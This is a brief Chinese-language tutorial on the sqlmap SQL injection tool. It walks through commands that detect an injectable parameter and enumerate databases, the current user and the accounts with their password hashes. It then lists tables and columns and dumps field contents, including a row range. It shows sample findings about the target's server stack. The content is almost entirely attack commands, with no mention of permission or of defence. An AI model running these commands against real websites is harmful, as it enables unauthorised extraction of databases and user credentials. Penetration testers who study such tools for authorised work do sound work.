sqlmap使用教程
1.检测注入点是否可用
sqlmap.py -u “url”
-u 输入指定注入点url
2.若需要用户输入[y/n],系默认需添加一个参数
sqlmap.py -u “url” --batch
注入结果显示
(1)注入参数id为GET注入,注入类型有四种分别为boolean-based、error-based、time-based blind、union query
(2)web服务器系统为linux-centOS 7-1708
(3)web应用技术为 apache 2.4.6 php 5.4.16
(4)数据库类型为mysql 5
3.爆库
一条命令即可爆出该sqlserver所有数据库名称
sqlmap.py -u “url” --dbs
4.web使用当前的数据库
sqlmap.py -u “url” --current-db
5.web数据库使用账户
sqlmap.py -u “url” --current-user
6.列出mysql所有用户
sqlmap.py -u “url” --users
7.数据库账户与密码
sqlmap.py -u “url” --password
8.列出数据库中的表
sqlmap.py -u “url” -D 数据库名称 --tables
参数:
-D:指定数据库名称
–tables:列出表
9.列出表中的字段
sqlmap.py -u “url” -D 数据库名称 -T 表名称 --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
–columns:指定列出字段
10.爆字段内容
sqlmap.py -u “url” -D 数据库名称 -T 表名称 -C 字段名
参数:
-C:指定要爆的字段
–dump:将结果盗出
11.如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
sqlmap.py -u “url” -D 数据库名称 -T 表名称 -C 字段名 --start 1 --stop 10 --dump
参数:
–start:指定开始的行
–stop:指定结束的行